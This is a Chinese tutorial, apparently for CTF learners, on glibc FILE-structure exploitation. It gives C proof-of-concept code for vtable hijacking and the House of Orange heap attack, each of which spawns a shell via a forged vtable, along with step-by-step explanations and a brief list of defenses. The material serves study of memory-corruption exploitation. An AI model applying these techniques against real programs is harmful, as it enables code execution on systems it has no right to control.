Pwn with File结构体(一)
字数 1694 2025-08-25 22:58:56
FILE结构体利用技术详解
一、FILE结构体概述
在Linux系统中,标准I/O操作通过FILE结构体(_IO_FILE)实现。_IO_FILE_plus结构体实际上是_IO_FILE加上虚表指针(vtable)组成。
关键结构
_IO_FILE: 基础文件结构体,包含文件操作的各种状态和缓冲区信息vtable: 指向一组函数指针,决定文件操作的具体实现
在64位系统中,_IO_FILE结构体大小通常为0xe0字节,加上8字节的vtable指针,整个_IO_FILE_plus大小为0xe8字节。
二、利用vtable进行攻击
基本原理
通过控制FILE结构体的vtable指针,可以劫持文件操作函数,当调用如fclose等函数时,执行攻击者控制的代码。
示例代码分析
#include <stdio.h>
#include <stdlib.h>
void pwn(void) {
system("sh");
}
// 伪造的vtable函数指针数组
void * funcs[] = {
NULL, // "extra word"
NULL, // DUMMY
exit, // finish
NULL, // overflow
NULL, // underflow
NULL, // uflow
NULL, // pbackfail
NULL, // xsputn
NULL, // xsgetn
NULL, // seekoff
NULL, // seekpos
NULL, // setbuf
NULL, // sync
NULL, // doallocate
NULL, // read
NULL, // // write
NULL, // seek
pwn, // close - 这是我们劫持的目标
NULL, // stat
NULL, // showmanyc
NULL // imbue
};
int main(int argc, char * argv[]) {
FILE *fp;
unsigned char *str;
// 分配_IO_FILE_plus大小的内存
str = malloc(sizeof(FILE) + sizeof(void *));
free(str);
// 打开文件,会重用刚释放的内存
if (!(fp = fopen("/dev/null", "r"))) {
perror("fopen");
return 1;
}
// 修改vtable指针指向我们伪造的函数表
*(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
// 调用fclose触发close函数调用
fclose(fp);
return 0;
}
攻击步骤
- 分配并释放一个
_IO_FILE_plus大小的内存块 - 调用
fopen重用该内存 - 修改vtable指针指向攻击者控制的函数表
- 调用
fclose触发恶意代码执行
调试关键点
- 分配的内存大小应为0xe8字节(0xe0+0x8)
- 观察vtable指针的位置和内容变化
- 确认close函数被替换为pwn函数
三、House of Orange攻击技术
House of Orange是一种结合堆利用和FILE结构体利用的高级攻击技术。
示例代码分析
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner(char *ptr) {
system(ptr);
return 0;
}
int main() {
char *p1, *p2;
size_t io_list_all, *top;
// 分配0x400字节的chunk
p1 = malloc(0x400-16);
// 获取top chunk地址并修改其size
top = (size_t *)((char *)p1 + 0x400 - 16);
top[1] = 0xc01;
// 触发_int_free,top chunk进入unsorted bin
p2 = malloc(0x1000);
// 计算io_list_all地址
io_list_all = top[2] + 0x9a8;
// 伪造top chunk的bk指针
top[3] = io_list_all - 0x10;
// 在伪造的FILE结构体开头写入/bin/sh
memcpy((char *)top, "/bin/sh\x00", 8);
// 修改top chunk大小为0x60
top[1] = 0x61;
// 设置_IO_FILE结构体字段
_IO_FILE *fp = (_IO_FILE *)top;
fp->_mode = 0;
fp->_IO_write_base = (char *)2;
fp->_IO_write_ptr = (char *)3;
// 设置虚表
size_t *jump_table = &top[12];
jump_table[3] = (size_t)&winner;
*(size_t *)((size_t)fp + sizeof(_IO_FILE)) = (size_t)jump_table;
// 触发攻击
malloc(10);
return 0;
}
攻击步骤详解
-
初始堆布局
- 分配一个0x400字节的chunk
- 修改top chunk的size为0xc01
-
触发堆扩展
- 分配大内存(0x1000)使当前top chunk进入unsorted bin
-
计算关键地址
- 通过unsorted bin中的fd指针计算
io_list_all地址 io_list_all通常位于main_arena上方0x9a8处
- 通过unsorted bin中的fd指针计算
-
伪造FILE结构体
- 设置top chunk的bk为
io_list_all-0x10 - 在伪造的FILE结构体开头写入"/bin/sh"
- 修改size为0x60使其能进入smallbin[5]
- 设置top chunk的bk为
-
设置_IO_FILE字段
_mode = 0_IO_write_base = 2_IO_write_ptr = 3(满足_IO_write_ptr > _IO_write_base)
-
伪造vtable
- 设置
__overflow为winner函数 - 将vtable指针指向伪造的函数表
- 设置
-
触发利用
- 调用
malloc(10)触发unsorted bin处理 - 通过unsorted bin attack修改
io_list_all - 程序abort时遍历
_IO_list_all调用_IO_OVERFLOW
- 调用
关键调试点
-
unsorted bin attack阶段
- 观察
_IO_list_all被修改为main_arena+88 - 确认伪造的chunk被链入smallbin[5]
- 观察
-
abort流程
fflush(NULL)调用_IO_flush_all_lockp- 遍历
_IO_list_all调用_IO_OVERFLOW - 第二次循环时使用我们伪造的FILE结构体
-
vtable调用
- 确认
__overflow被正确替换为winner函数 - 观察"/bin/sh"参数传递
- 确认
四、防御措施
-
vtable校验
- glibc增加了对vtable地址的校验,确保位于合法区域
-
指针保护
- 使用指针加密等技术保护关键函数指针
-
堆完整性检查
- 加强对堆chunk的完整性验证
-
更新glibc
- 及时更新到最新版本,修复已知漏洞
五、总结
FILE结构体利用是CTF比赛和实际漏洞利用中的高级技术,要点包括:
- 理解
_IO_FILE和_IO_FILE_plus的内存布局 - 掌握vtable劫持的基本原理
- 熟悉House of Orange等高级利用技术
- 了解glibc的防御机制及绕过方法
- 熟练使用调试工具分析利用过程
通过精心构造FILE结构体和vtable,攻击者可以在特定条件下实现代码执行,这种技术在内存破坏漏洞利用中具有重要意义。